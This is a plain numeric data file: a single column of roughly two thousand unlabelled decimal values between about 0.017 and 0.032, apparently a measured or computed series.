0.0226009
0.0227183
0.023086
0.0234723
0.0235128
0.0231576
0.0228158
0.022491
0.022373
0.0220517
0.0218955
0.0215877
0.0213077
0.0214814
0.0217548
0.0218996
0.0221853
0.0223001
0.0225913
0.0228978
0.0232175
0.0235472
0.0238822
0.0242169
0.0245451
0.0248612
0.0248109
0.0245109
0.0242028
0.0241955
0.0244884
0.0247762
0.024753
0.0244746
0.0241936
0.0239116
0.0239001
0.0238902
0.0235775
0.0232688
0.0229677
0.0230282
0.0233135
0.0236051
0.0236307
0.0233531
0.0230811
0.0231279
0.0233888
0.0236548
0.0239243
0.0241956
0.0244673
0.0247381
0.0247289
0.0244642
0.0242002
0.0242063
0.0244639
0.0247232
0.0247196
0.0244649
0.0242127
0.0239634
0.0239509
0.0239376
0.0236775
0.023421
0.0231695
0.0232064
0.02345
0.0236985
0.0237176
0.0234758
0.0232389
0.0230075
0.0229685
0.022924
0.0228735
0.0228164
0.0227515
0.0226772
0.0223991
0.0221349
0.0220253
0.0217675
0.0216338
0.0213874
0.0212305
0.0210535
0.0208227
0.0206131
0.0204224
0.0205963
0.0207896
0.0210005
0.0211595
0.020949
0.0207545
0.0208981
0.0210926
0.0213017
0.0215264
0.0216497
0.021885
0.0219886
0.0222307
0.0224853
0.0225607
0.022315
0.0220801
0.0218564
0.0217591
0.0215424
0.0214288
0.0212219
0.0210284
0.0211464
0.0213383
0.0214431
0.0216441
0.021735
0.021943
0.0221612
0.0223893
0.022627
0.0226855
0.022455
0.022233
0.0222964
0.0225128
0.022737
0.0227822
0.0225637
0.0223524
0.0221487
0.0220882
0.0220199
0.0218162
0.0216218
0.0215373
0.0213497
0.0212532
0.0210741
0.0209662
0.0208476
0.0207175
0.0205749
0.020419
0.0202487
0.0200641
0.0198644
0.0196524
0.0194315
0.0193046
0.0191914
0.0190899
0.0192822
0.0193927
0.0195155
0.0197188
0.0195876
0.0194688
0.0193609
0.0191824
0.0189987
0.0189166
0.0188423
0.0187751
0.0189353
0.01901
0.0190921
0.0192627
0.0191731
0.0190911
0.01924
0.0193289
0.0194257
0.0195311
0.0196463
0.0197725
0.0199114
0.0200904
0.019946
0.0198133
0.0199688
0.0201064
0.0202562
0.0204091
0.0202558
0.020114
0.0199826
0.0198422
0.0196914
0.0195797
0.0194767
0.0193816
0.0195159
0.0196163
0.0197248
0.019861
0.0197483
0.0196434
0.0195456
0.0194228
0.0192937
0.0191581
0.0190158
0.0188671
0.018714
0.0186583
0.0186075
0.0185608
0.0186942
0.0187472
0.0188046
0.0189465
0.0188825
0.0188233
0.0187683
0.0186453
0.018518
0.0184784
0.0184417
0.0184076
0.018518
0.0185575
0.0185998
0.0187171
0.0186693
0.0186246
0.0187279
0.0187774
0.0188302
0.0188867
0.0189472
0.0190123
0.0190824
0.0192123
0.0191366
0.0190662
0.0191806
0.0192557
0.0193363
0.0194546
0.0193698
0.0192905
0.0192163
0.0191105
0.0190006
0.0189394
0.018882
0.0188282
0.0189256
0.0189834
0.0190449
0.0191468
0.0190815
0.0190201
0.0191115
0.0191762
0.0192449
0.019318
0.0193958
0.0194788
0.0195676
0.0196623
0.0197636
0.0198723
0.019989
0.0201143
0.020249
0.0203938
0.0205497
0.0206788
0.0205213
0.0203743
0.0204903
0.0206388
0.0207972
0.0209055
0.0207467
0.0205975
0.0204571
0.0203513
0.0202371
0.020109
0.0199892
0.0198773
0.0199842
0.0200988
0.0202209
0.0203252
0.0202012
0.0200845
0.0201782
0.0202965
0.0204219
0.020555
0.0206961
0.0208457
0.0210043
0.0211721
0.0212609
0.0214367
0.021515
0.0216974
0.0218885
0.0219529
0.021765
0.0215853
0.0214136
0.0213412
0.0211759
0.0210942
0.0209362
0.0207867
0.0208696
0.0210187
0.0210937
0.0212498
0.0213164
0.0214785
0.0216481
0.0218252
0.0220098
0.022202
0.0224015
0.0226081
0.0228215
0.0230414
0.0232671
0.0234982
0.0237342
0.0239745
0.0242186
0.0244661
0.0247167
0.0249701
0.0249635
0.0252173
0.0252069
0.0254621
0.0257212
0.0257052
0.0254477
0.0251945
0.0251793
0.0254304
0.0256862
0.0256638
0.0259228
0.0258947
0.0261574
0.0264259
0.0267003
0.0266625
0.0263897
0.0261229
0.025862
0.0256068
0.0256374
0.0253855
0.0254098
0.0251608
0.0251387
0.0251126
0.025357
0.025324
0.0255714
0.0258244
0.0260833
0.0263481
0.026619
0.0265693
0.0268447
0.0267858
0.0270656
0.0273525
0.027281
0.0275728
0.02749
0.0277866
0.0280909
0.0284032
0.0287237
0.0286197
0.0289455
0.0288282
0.029159
0.0294986
0.0293637
0.029708
0.0295592
0.0299079
0.0302655
0.0300977
0.0304593
0.0302769
0.030642
0.030445
0.0300857
0.029735
0.0299207
0.0295732
0.029745
0.0294011
0.0290658
0.0292193
0.0288879
0.0290282
0.0287012
0.0283826
0.0285059
0.0281919
0.0283023
0.0279931
0.027886
0.0277697
0.0280722
0.0279437
0.0282504
0.028565
0.0284202
0.0287389
0.0285814
0.0289037
0.0292342
0.029059
0.0293928
0.0292043
0.0295411
0.0298862
0.0302397
0.0300264
0.0296787
0.0293393
0.0291297
0.0294634
0.0298051
0.0295757
0.02924
0.0289123
0.0285923
0.0288041
0.029008
0.0286847
0.0288757
0.0285551
0.0287334
0.0284158
0.0282424
0.0280615
0.0283693
0.0281761
0.0284862
0.0282801
0.0279754
0.0276782
0.0278735
0.0275783
0.0277614
0.0279374
0.0281061
0.0282672
0.0279608
0.0281096
0.0278069
0.0275118
0.0276448
0.0273536
0.0274749
0.0275878
0.0276918
0.0273982
0.027112
0.0272009
0.0269191
0.0269966
0.0267191
0.0264485
0.0265126
0.0262461
0.0263004
0.0260378
0.0259859
0.0259268
0.0261844
0.0261149
0.0263763
0.0266443
0.026561
0.026833
0.0267382
0.0270141
0.0272973
0.0271877
0.0269078
0.026635
0.0263691
0.0264692
0.026207
0.0262958
0.0260373
0.0257852
0.02586
0.0256113
0.0256754
0.0257318
0.0257813
0.0255307
0.0252858
0.0250465
0.0250821
0.0248456
0.0248735
0.024897
0.0249166
0.0249327
0.0249456
0.0249556
0.0247082
0.0247132
0.0244663
0.0242229
0.024225
0.0244646
0.0244604
0.0247009
0.0246907
0.0246773
0.0244427
0.0244532
0.0242203
0.0242242
0.0239925
0.0239895
0.0239833
0.0237479
0.023517
0.023291
0.0233105
0.0235319
0.0237584
0.0237653
0.023543
0.0233257
0.0233366
0.02355
0.0237686
0.023992
0.023988
0.0242129
0.0242019
0.0244286
0.0246603
0.0246395
0.0244107
0.0241869
0.0239683
0.0239801
0.0237634
0.0237679
0.023553
0.0233432
0.0233453
0.0235518
0.0235463
0.0237547
0.0237417
0.0239521
0.0241677
0.0243885
0.0246145
0.0245844
0.0248128
0.0247741
0.0250051
0.0252416
0.0254838
0.02543
0.0251905
0.0249569
0.0249014
0.0251321
0.0253687
0.0252997
0.0255393
0.0254593
0.0257022
0.0259514
0.0258574
0.0261099
0.026005
0.026261
0.0265236
0.0267932
0.0270698
0.0269439
0.0272242
0.0270872
0.027371
0.0276621
0.0275097
0.0278041
0.0276399
0.0274686
0.0271831
0.0273499
0.0270671
0.0272226
0.0269428
0.02667
0.0268106
0.026541
0.0266708
0.0264046
0.0262784
0.0261452
0.0264042
0.0262608
0.0265226
0.0267914
0.0266334
0.0269047
0.026736
0.0270097
0.0272904
0.0271054
0.0273882
0.0271894
0.0274739
0.0277656
0.0280645
0.0283709
0.0286849
0.0290065
0.029336
0.0296733
0.0294133
0.0297519
0.0294718
0.0291937
0.0295265
0.029269
0.0296034
0.0299455
0.0302952
0.0306526
0.0310175
0.0307627
0.0311296
0.0308646
0.0312335
0.0316097
0.031993
0.030503
0.0301488
0.0304032
0.0300513
0.0298022
0.0294632
0.0297069
0.0293702
0.029041
0.0287195
0.0289422
0.0286231
0.0288687
0.0291401
0.0288162
0.0290826
0.0287596
0.0284444
0.0281912
0.0284999
0.0282415
0.0285513
0.0283116
0.0280991
0.0284055
0.0281831
0.0284918
0.028808
0.0291318
0.0278818
0.0275879
0.0278001
0.0280075
0.0277108
0.0279391
0.0276441
0.0278899
0.0281366
0.0278364
0.0275434
0.0272575
0.0270294
0.0273091
0.0275959
0.0273563
0.0270756
0.0268018
0.0265953
0.0268638
0.0271391
0.0274213
0.0272238
0.0275083
0.0273013
0.0270218
0.0267494
0.0269464
0.0266759
0.0264122
0.026225
0.0264838
0.0259726
0.0261551
0.0263337
0.0265349
0.0267566
0.0269787
0.0267068
0.0269119
0.0266413
0.0268296
0.0265607
0.0262986
0.0264691
0.0262091
0.0263689
0.0261112
0.0258601
0.0260057
0.0257571
0.0258929
0.0260225
0.0261453
0.0258926
0.0256464
0.0257556
0.0255126
0.0256113
0.0253714
0.0251377
0.0252226
0.0249919
0.025066
0.0248382
0.0247671
0.0246883
0.0249101
0.0248207
0.0250453
0.0252759
0.0251731
0.0254066
0.0252939
0.0255303
0.0257732
0.0256472
0.0254078
0.0251748
0.024948
0.0250636
0.0248395
0.0249457
0.0247243
0.0245088
0.024602
0.0243891
0.0244723
0.0245481
0.0246161
0.0246764
0.0247289
0.0245064
0.0245487
0.0243287
0.0243614
0.0241437
0.024114
0.0240779
0.0242895
0.024243
0.0244569
0.0243997
0.0241889
0.0239836
0.0240346
0.0238315
0.0238716
0.0239046
0.0239311
0.0237238
0.0235216
0.0235364
0.0233362
0.023343
0.023145
0.0231441
0.0231386
0.0231285
0.0231138
0.0230944
0.0230703
0.0228553
0.0226466
0.0224442
0.022481
0.0226794
0.0228839
0.0229074
0.0227068
0.0225121
0.0223236
0.0222891
0.0222487
0.02206
0.0218784
0.0217039
0.0217531
0.0219251
0.0221038
0.0221414
0.0219655
0.0217961
0.021833
0.0220001
0.0221732
0.0223525
0.0225377
0.0227289
0.0229259
0.0229395
0.0227459
0.022558
0.022573
0.0227579
0.0229483
0.0229523
0.0227649
0.0225829
0.0224064
0.0223936
0.0223757
0.0221993
0.0220288
0.0218642
0.0218897
0.022052
0.02222
0.0222354
0.02207
0.02191
0.0219253
0.0220829
0.022246
0.0224144
0.0225881
0.0227672
0.0229516
0.0231413
0.0231328
0.0233246
0.0233075
0.0235014
0.0237004
0.0236706
0.0234748
0.0232842
0.0232537
0.0234411
0.0236337
0.023589
0.0237836
0.0237278
0.0239247
0.024127
0.0243347
0.024262
0.0240573
0.0238581
0.0236644
0.0234759
0.0235363
0.0233501
0.0233996
0.0232154
0.0231691
0.0231148
0.0232928
0.0232281
0.0234082
0.0235935
0.0237842
0.0239803
0.0241819
0.024095
0.0242991
0.0242026
0.0244091
0.0246214
0.0245125
0.0247273
0.0246096
0.0248268
0.0250501
0.0252795
0.0255151
0.0253775
0.0256156
0.0254685
0.0257089
0.0259557
0.0257943
0.0260432
0.0258697
0.0261203
0.0263774
0.0261833
0.0264417
0.0262311
0.0264905
0.0262746
0.0260209
0.0257736
0.0259783
0.0257319
0.0259313
0.0256859
0.0254468
0.0256256
0.0253878
0.025552
0.0253159
0.0250862
0.0252345
0.0250067
0.0251457
0.0249201
0.0247851
0.024645
0.0248625
0.0247118
0.024931
0.0251563
0.0249872
0.0252139
0.0250304
0.025258
0.0254918
0.025298
0.0255327
0.0253518
0.0255878
0.02583
0.0260786
0.0259046
0.0256606
0.0254228
0.0252542
0.0254874
0.0257269
0.0250271
0.0251912
0.0249657
0.025122
0.0248983
0.0250695
0.0248471
0.0246806
0.0245327
0.0247463
0.0245909
0.0248059
0.0243814
0.0241778
0.0243249
0.0244687
0.0246306
0.0248088
0.0245932
0.0247666
0.0245521
0.0243434
0.0244985
0.0242912
0.0244334
0.0245695
0.0247006
0.024487
0.0242794
0.0243984
0.0241929
0.0243036
0.0241005
0.023903
0.0240018
0.0238065
0.0238965
0.0237036
0.0236168
0.0235245
0.023711
0.0236105
0.0237991
0.0239932
0.0238813
0.0240775
0.0239577
0.0241559
0.0243598
0.0242277
0.0240277
0.0238334
0.0237035
0.0238938
0.0240896
0.0239434
0.0241405
0.0239816
0.0241797
0.0243835
0.0242153
0.02442
0.0242627
0.024123
0.0239266
0.0240625
0.0238678
0.0240163
0.0238229
0.0236351
0.0237891
0.0236021
0.0237519
0.0235658
0.0234206
0.0232756
0.0234527
0.0233168
0.0234951
0.0236787
0.0235506
0.0237359
0.0236007
0.0237877
0.02398
0.0234193
0.0232432
0.0233707
0.0231961
0.0230267
0.0231438
0.022976
0.0231038
0.0232444
0.0233852
0.0235187
0.0236447
0.0237652
0.0235782
0.0236907
0.0235056
0.0233258
0.0234273
0.0232494
0.0233433
0.0234324
0.023516
0.0233338
0.0231568
0.0229849
0.0230532
0.0228835
0.022942
0.0229932
0.0230364
0.0230715
0.0230987
0.0231189
0.0229353
0.0229461
0.0227647
0.0225884
0.0225836
0.0227569
0.0227431
0.0229184
0.0228944
0.0228625
0.0226936
0.0227223
0.0225552
0.0225729
0.0224077
0.0224155
0.0224174
0.0222517
0.0220911
0.0219358
0.0219414
0.0220944
0.0222524
0.0222475
0.0220922
0.0219419
0.021936
0.0220836
0.0222359
0.0223931
0.0223708
0.0225297
0.0224959
0.0226567
0.0228224
0.0227743
0.0226116
0.0224539
0.0223011
0.0223401
0.0221891
0.0222167
0.0220674
0.0219229
0.0219014
0.0220429
0.0220099
0.0221531
0.0221094
0.0222545
0.0224043
0.0225591
0.0227188
0.0226565
0.0228182
0.022747
0.0229107
0.0230794
0.0232533
0.0231674
0.0229967
0.0228311
0.0227468
0.0229093
0.0230768
0.0229819
0.0231513
0.0230492
0.0232202
0.0233965
0.0232834
0.0234614
0.0233393
0.0232099
0.0230398
0.0231651
0.0229961
0.0231107
0.0229431
0.0227806
0.0228832
0.0227223
0.0228177
0.0226584
0.0225663
0.0224704
0.0226231
0.0225193
0.0226733
0.0228322
0.0227148
0.0228748
0.0227467
0.0229076
0.0230734
0.0229371
0.0227755
0.0226188
0.0224669
0.0225908
0.0224397
0.0225596
0.0224093
0.0222638
0.0223701
0.0222256
0.0223225
0.0224151
0.0225041
0.0225893
0.0226705
0.0225148
0.0225883
0.0224345
0.0224998
0.022348
0.0222856
0.022218
0.022364
0.0222889
0.0224367
0.0223545
0.0222098
0.0220696
0.0221458
0.0220074
0.0220767
0.0221414
0.022201
0.0220587
0.0219212
0.0219691
0.0218334
0.0218714
0.0217375
0.0217645
0.021783
0.0217932
0.0217964
0.0217935
0.0217856
0.0217729
0.0217555
0.0217331
0.0217054
0.0216721
0.021633
0.0215879
0.0215365
0.0213761
0.0212227
0.0211616
0.0210139
0.0209452
0.020804
0.0207281
0.0206452
0.0205115
0.020385
0.0202655
0.0203465
0.0204669
0.020594
0.0206698
0.0205424
0.0204214
0.0203066
0.0202325
0.0201525
0.0200667
0.0199748
0.0198768
0.0197726
0.0196745
0.0195826
0.0194964
0.0195919
0.0196811
0.0197759
0.0198715
0.0197743
0.0196827
0.0195962
0.019508
0.0194153
0.0193391
0.0192672
0.0191995
0.019284
0.0193544
0.0194289
0.0195147
0.0194376
0.0193647
0.0194418
0.0195168
0.0195961
0.0196798
0.0197684
0.0198622
0.0199615
0.0200457
0.0199447
0.0198492
0.019925
0.020022
0.0201244
0.0201976
0.0200942
0.019996
0.0199028
0.0198331
0.0197587
0.0196731
0.019592
0.0195151
0.0195845
0.0196631
0.0197458
0.0198142
0.0197301
0.0196502
0.0195741
0.0195099
0.019442
0.0193706
0.0192957
0.0192174
0.0191355
0.0190505
0.0189623
0.0188713
0.0187776
0.0186814
0.0185826
0.0184809
0.0183757
0.0182673
0.0181582
0.0180533
0.0179597
0.0178818
0.0178186
0.0177644
0.017713
0.0176602
0.0176036
0.0175422
0.0174721
0.0173921
0.0174293
0.017501
0.0175266
0.0174629
0.0174929
0.0175487
0.0175954
0.0175808
0.0175631
0.0176169
0.0176275
0.0176358
0.0176416
0.0176071
0.0175673
0.017519
0.0175414
0.0175826
0.0175947
0.0175603
0.0175756
0.0176037
0.0176255
0.0176222
0.0176161
0.0176448
0.0176453
0.017643
0.0176381
0.0176258
0.0176093
0.0175872
0.0175951
0.0176114
0.0176101
0.0175991
0.0175994
0.0176056
0.0176086
0.0176171
0.0176229
0.0176307
0.0176211
0.0176094
0.0175994
0.0176012
0.0175973
0.0175952
0.0176004
0.0175935
0.0176114
0.0176248
0.017789
0.0177598
0.0177095
0.0175909
0.0175852
0.0175768
0.0175759
0.017672
0.0176571
0.0175726
0.0175777
0.0175961
0.0176115
0.0176253
0.0176377
0.0176486
0.0176576
0.0176648
0.0176697
0.0176722
0.0176724
0.0176704
0.0176663
0.0177123
0.01771
0.0177061
0.017741
0.0177498
0.0177576
0.0178071
0.0177953
0.0177834
0.0177715
0.0177312
0.0177004
0.017693
0.0176839
0.0176734
0.0176973
0.0177091
0.0177205
0.0177597
0.0177483
0.0177372
0.0177965
0.0178062
0.0178168
0.0178282
0.0178405
0.0178535
0.0178673
0.0179436
0.0179288
0.0179152
0.0180042
0.0180192
0.0180355
0.0181374
0.0181181
0.0181
0.0180829
0.0179903
0.0179028
0.0178915
0.0178809
0.017871
0.0179525
0.0179647
0.0179772
0.0180664
0.0180504
0.0180346
0.0180188
0.0179403
0.0178614
0.0177874
0.0177268
0.0176854
0.0176618
0.0176492
0.017636
0.0176225
0.0176507
0.0176619
0.0176735
0.0177169
0.0177077
0.0176989
0.0176897
0.0176393
0.0176083
0.0175922
0.0175849
0.0176684
0.017703
0.0176172
0.0176261
0.017678
0.0176698
0.0177514
0.0178101
0.0177303
0.01774
0.0177526
0.0177621
0.0177705
0.0177788
0.0178518
0.017842
0.0178317
0.0179017
0.0179151
0.0179279
0.0180028
0.0179864
0.0179696
0.0179513
0.0178866
0.0178199
0.0178047
0.0177921
0.017869
0.0179264
0.0178524
0.0178682
0.0179297
0.0179109
0.0179822
0.0184304
0.0183763
0.0183209
0.018264
0.0182113
0.0181627
0.0181256
0.0181245
0.018168
0.0182523
0.0183516
0.0183928
0.0199847
0.0199159
0.0197046
0.019543
0.019462
0.0194415
0.0194571
0.0195018
0.0195592
0.0196159
0.0196706
0.0197243
0.0197782
0.0184839
0.0180373
0.0179684
0.0179899
0.0180144
0.0180356
0.0180556
0.0180754
0.018095
0.0181146
0.0181343
0.0181544
0.018175
0.0181964
0.0182187
0.0182423
0.0183457
0.0183173
0.0182904
0.0183815
0.0184129
0.0184459
0.0185431
0.0185057
0.0184702
0.0184364
0.0183515
0.0182646
0.0182398
0.0182157
0.0181922
0.018268
0.018295
0.0183228
0.018404
0.0183729
0.0183428
0.0184167
0.0184498
0.018484
0.0185197
0.018557
0.0185962
0.0186376
0.0187299
0.0186849
0.0186422
0.0187256
0.0187716
0.01882
0.0189077
0.0188561
0.0188071
0.0187604
0.0186819
0.0186016
0.0185628
0.0185256
0.0184898
0.0185617
0.0186002
0.0186402
0.018716
0.0186733
0.0186324
0.0185928
0.0185246
0.0184551
0.0183847
0.0183136
0.0182417
0.018169
0.0181462
0.0181234
0.0181005
0.0181648
0.0181903
0.0182159
0.0182849
0.0182567
0.0182287
0.0181999
0.0181383
0.0180765
0.0180495
0.0180255
0.0180921
0.018147
0.0180825
0.0181088
0.0181682
0.0181396
0.0182021
0.0182574
0.0181967
0.0182274
0.0182613
0.0182924
0.0183228
0.0183535
0.0184214
0.0183883
0.0183557
0.0184183
0.0184531
0.0184884
0.0185544
0.0185169
0.0184801
0.0184428
0.018383
0.0183224
0.0182864
0.0182536
0.0183125
0.0183675
0.0183103
0.018345
0.018403
0.0183665
0.0184222
0.0184765
0.0184221
0.0184602
0.0185018
0.018541
0.0185797
0.0186192
0.0186597
0.0187015
0.0187448
0.0187899
0.018837
0.0188863
0.0189382
0.0189928
0.019075
0.0190177
0.0189632
0.0190375
0.0190944
0.0191542
0.0192303
0.0191682
0.0191091
0.0190528
0.0189833
0.0189113
0.0188618
0.0188144
0.0187689
0.0188345
0.018882
0.0189316
0.018999
0.0189475
0.0188981
0.0189597
0.0190108
0.019064
0.0191197
0.0191779
0.019239
0.0193031
0.0193727
0.0193067
0.0192438
0.0193069
0.0193713
0.0194389
0.0195017
0.0194328
0.019367
0.0193042
0.0192454
0.0191839
0.0191266
0.0190718
0.0190192
0.0190765
0.0191304
0.0191867
0.0192442
0.0191867
0.0191315
0.0190785
0.0190246
0.0189686
0.0189105
0.0188505
0.0187887
0.018725
0.0186825
0.0186411
0.0186007
0.0186591
0.0187012
0.0187443
0.0188045
0.0187599
0.0187163
0.0186726
0.0186168
0.0185599
0.0185167
0.018477
0.0185303
0.0185834
0.0185312
0.0185722
0.0186267
0.0185845
0.0186359
0.0186877
0.0186369
0.01868
0.0187271
0.018772
0.0188169
0.018863
0.0189197
0.0188723
0.0188262
0.0188789
0.018926
0.0189745
0.0190274
0.0189779
0.0189299
0.0188822
0.018832
0.0187803
0.0187322
0.0186882
0.0187386
0.0187886
0.0187385
0.0187832
0.0188328
0.0187876
0.0188376
0.0192817
0.0192316
0.0191807
0.019129
0.0190767
0.0190238
0.0189704
0.0189167
0.0188626
0.0188083
0.0187539
0.0186995
0.0186452
0.0185911
0.0185374
0.0198334
0.0198885
0.0199432
0.0199988
0.0200549
0.0201111
0.0201675
0.0202238
0.0202801
0.0203362
0.020392
0.0204475
0.0205024
0.0205568
0.0206106
0.0206635
0.0193309
0.0188855
0.0188355
0.018881
0.018931
0.0189793
0.019028
0.0190783
0.0191303
0.0191843
0.0192405
0.019299
0.0193602
0.0194241
0.019491
0.0195612
0.0196348
0.019712
0.0197931
0.0198783
0.0199679
0.0200622
0.0201613
0.0202655
0.0203752
0.0204905
0.0206118
0.0207393
0.0208732
0.020936
0.021076
0.0211319
0.0212773
0.0214293
0.0214763
0.0213259
0.0211817
0.0210436
0.0209927
0.0208598
0.0208025
0.0206752
0.0205538
0.0206117
0.0207328
0.020785
0.0209114
0.0209574
0.0210887
0.0212257
0.0213685
0.0215173
0.0215525
0.0214054
0.0212641
0.0212971
0.0214369
0.0215822
0.0216066
0.021463
0.0213248
0.0211918
0.0211627
0.0211284
0.0209981
0.0208733
0.0208317
0.0207114
0.0206641
0.0205487
0.020496
0.0204383
0.0203282
0.0202234
0.0201236
0.0201805
0.0202807
0.0203858
0.0204385
0.0203332
0.0202327
0.0201369
0.0200849
0.0200286
0.0199382
0.0198521
0.01977
0.0198243
0.019907
0.0199939
0.0200454
0.0199581
0.0198748
0.0199216
0.0200053
0.0200929
0.0201846
0.0202806
0.0203811
0.0204863
0.0205963
0.0206391
0.0207536
0.0207909
0.0209097
0.0210336
0.0210639
0.0209411
0.0208233
0.0207101
0.020677
0.0205678
0.0205294
0.0204244
0.0203241
0.0203632
0.0204633
0.0204977
0.0206017
0.0206311
0.0207387
0.0208509
0.0209678
0.0210894
0.021216
0.0213475
0.0214841
0.0216259
0.0216405
0.0215005
0.0213656
0.0213792
0.0215125
0.0216505
0.0216557
0.0215197
0.0213885
0.0212618
0.0212508
0.0212355
0.0211104
0.02099
0.0208742
0.0208934
0.021008
0.0211271
0.0211397
0.0210221
0.0209088
0.0209203
0.021032
0.0211479
0.021268
0.0213926
0.0215216
0.0216551
0.0216477
0.0215169
0.0213905
0.0213807
0.0215043
0.0216322
0.0216081
0.0214831
0.0213624
0.0212459
0.0212614
0.0212684
0.0211505
0.0210367
0.020927
0.0209277
0.0210349
0.0211461
0.0211336
0.0210251
0.0209206
0.0208197
0.0208242
0.0208213
0.0208127
0.0207998
0.0207832
0.020763
0.0206562
0.0205537
0.0205278
0.0204288
0.0203981
0.0203027
0.0202675
0.0202281
0.0201363
0.0200486
0.0199648
0.0200043
0.0200882
0.0201758
0.0202114
0.0201239
0.0200402
0.0200725
0.0201559
0.020243
0.0203339
0.0203611
0.0204554
0.0204782
0.0205758
0.0206774
0.020695
0.0205943
0.0204976
0.0204048
0.0203846
0.0202949
0.0202708
0.0201842
0.0201012
0.0201264
0.0202089
0.0202303
0.0203157
0.0203336
0.0204219
0.0205138
0.0206096
0.0207092
0.0207194
0.0206212
0.0205268
0.0205355
0.0206282
0.0207244
0.0207225
0.0206288
0.0205385
0.0204514
0.0204463
0.020436
0.0203487
0.0202649
0.0202489
0.0201677
0.0201484
0.02007
0.0200474
0.0200217
0.0199926
0.0199601
0.0199241
0.0198846
0.0198417
0.0197952
0.0197453
0.0196918
0.0196173
0.0195461
0.0194782
0.0195293
0.019598
0.01967
0.0197193
0.0196467
0.0195774
0.0195111
0.0194636
0.0194133
0.0193512
0.0192918
0.0192347
0.0192828
0.0193405
0.0194008
0.0194476
0.0193868
0.0193285
0.0193717
0.0194305
0.0194917
0.0195557
0.0196225
0.0196923
0.0197653
0.019808
0.0197347
0.0196645
0.0197036
0.0197739
0.0198473
0.0198834
0.01981
0.0197397
0.0196724
0.0196363
0.0195974
0.0195332
0.0194716
0.0194126
0.0194511
0.0195102
0.0195719
0.019608
0.0195462
0.0194871
0.0194304
0.0193944
0.019356
0.0193154
0.0192725
0.0192273
0.0191799
0.0191271
0.0190762
0.0190269
0.0190727
0.0191225
0.0191739
0.0192186
0.0191668
0.0191168
0.0190674
0.0190236
0.0189781
0.0189277
0.018882
0.0189323
0.0189779
0.0189272
0.018973
0.0190167
0.018971
0.0190222
0.0190651
0.0190133
0.0190588
0.0191095
0.0191589
0.0192091
0.0192612
0.0193017
0.0192494
0.0191992
0.0192376
0.0192877
0.01934
0.0193761
0.019324
0.019274
0.0192251
0.0191883
0.0191498
0.0190993
0.0190541
0.0191067
0.0191468
0.0190934
0.0191381
0.0191752
0.019131
0.0191854
0.0192225
0.019167
0.0192106
0.01926
0.0193085
0.0193582
0.01941
0.0194642
0.0195207
0.0195797
0.0196413
0.0197056
0.0197728
0.0198429
0.0199161
0.0199456
0.0198726
0.0198028
0.0198298
0.0198992
0.0199717
0.0199948
0.0199229
0.0198539
0.0197879
0.0197633
0.0197359
0.0196719
0.0196105
0.0195518
0.0195804
0.0196387
0.0196997
0.0197248
0.0196643
0.0196065
0.0196302
0.0196874
0.0197473
0.0198099
0.0198754
0.0199438
0.0200152
0.0200898
0.0201072
0.0201844
0.0201985
0.0202779
0.0203604
0.0203675
0.0202868
0.0202091
0.0202143
0.0202898
0.0203681
0.0204494
0.0205338
0.0206215
0.0207124
0.0208069
0.0209049
0.0210067
0.0211123
0.0212219
0.0213356
0.0214535
0.0215757
0.0217023
0.0216598
0.0217882
0.0217369
0.0218671
0.022002
0.02194
0.0218079
0.0216803
0.0216192
0.0217441
0.0218735
0.0218031
0.0219341
0.0218573
0.0219899
0.022127
0.0222687
0.0221793
0.0220408
0.0219067
0.0217772
0.021652
0.0217292
0.0216054
0.0216765
0.0215543
0.021486
0.0214145
0.0215311
0.0214531
0.021571
0.0216931
0.0218195
0.0219504
0.0220857
0.0219865
0.0221228
0.0220144
0.0221516
0.0222933
0.0221774
0.0223198
0.0222109
0.0223544
0.0225025
0.0226555
0.0228132
0.0227031
0.0228624
0.0227459
0.0229065
0.0230722
0.02259
0.0224392
0.0225487
0.0223991
0.0222931
0.0221516
0.0222543
0.0221141
0.0219784
0.0220721
0.0219377
0.0220395
0.0219061
0.0217772
0.0218817
0.0217535
0.0218546
0.0217271
0.0216295
0.0215321
0.0216525
0.0215608
0.0216822
0.0218078
0.0217203
0.0218472
0.0217543
0.0218823
0.0220147
0.0216307
0.0215112
0.0215977
0.0214794
0.0213652
0.0214437
0.0213307
0.0214159
0.0215098
0.0216039
0.021485
0.0213703
0.0212597
0.0213394
0.0212298
0.021302
0.0213707
0.0214363
0.0214986
0.0215571
0.0216111
0.0214897
0.0215359
0.0214163
0.021301
0.0212599
0.0213727
0.0213237
0.0214383
0.0213823
0.0213226
0.0212131
0.0212703
0.0211623
0.0212134
0.0211071
0.0211513
0.02119
0.021083
0.02098
0.0208809
0.0208496
0.0209462
0.0210468
0.0210049
0.0209067
0.0208124
0.0207705
0.0208626
0.0209586
0.0210585
0.0210061
0.0211076
0.0210497
0.0211527
0.0212597
0.0211937
0.0210893
0.0209889
0.0208924
0.0209507
0.0208555
0.0209086
0.0208149
0.020725
0.0206764
0.0207641
0.0207106
0.0207997
0.0207408
0.020831
0.0209249
0.0210226
0.0211242
0.0210506
0.0211532
0.0210723
0.0211756
0.021283
0.0213943
0.0213039
0.0211958
0.0210918
0.0210156
0.0211167
0.0212217
0.0211483
0.021255
0.0211775
0.0212847
0.0213959
0.0210737
0.0209753
0.021047
0.0209481
0.0208791
0.0207871
0.0208534
0.0209184
0.0209916
0.0208952
0.0209728
0.0208772
0.0209519
0.020857
0.0207853
0.0207138
0.0208027
0.0207351
0.0208249
0.020762
0.0206757
0.0205909
0.0206489
0.0205662
0.0206285
0.0206971
0.0207658
0.0206783
0.0205945
0.0206543
0.0205714
0.0206253
0.0205435
0.0205924
0.0206388
0.0206821
0.0207218
0.0207567
0.0207855
0.0206938
0.0206056
0.0205207
0.0204995
0.0205818
0.0206675
0.0206348
0.0205515
0.0204716
0.020395
0.0204206
0.0204391
0.0203606
0.020285
0.0202123
0.020202
0.020272
0.0203448
0.0203216
0.0202514
0.0201841
0.0201598
0.0202248
0.0202929
0.020364
0.0204384
0.0205162
0.0205974
0.0205561
0.020477
0.0204014
0.0203613
0.0204349
0.0205119
0.0204652
0.0203903
0.0203188
0.0202506
0.020291
0.020329
0.0202599
0.020194
0.0201311
0.020099
0.02016
0.0202239
0.0201855
0.0201235
0.0200646
0.0200279
0.0200849
0.0201448
0.0202078
0.0202739
0.0203433
0.0204159
0.0204919
0.0204372
0.0205141
0.0204537
0.0205313
0.0206124
0.0205467
0.0204684
0.0203935
0.0203389
0.0204113
0.0204871
0.0204343
0.0205116
0.0204556
0.0205323
0.0206146
0.0206983
0.0203806
0.0203095
0.0203608
0.0202906
0.0202416
0.0201765
0.0202231
0.0202697
0.0203219
0.0203794
0.0203085
0.0203636
0.0202933
0.0202263
0.0201762
0.0202407
0.0201884
0.0202535
0.0202038
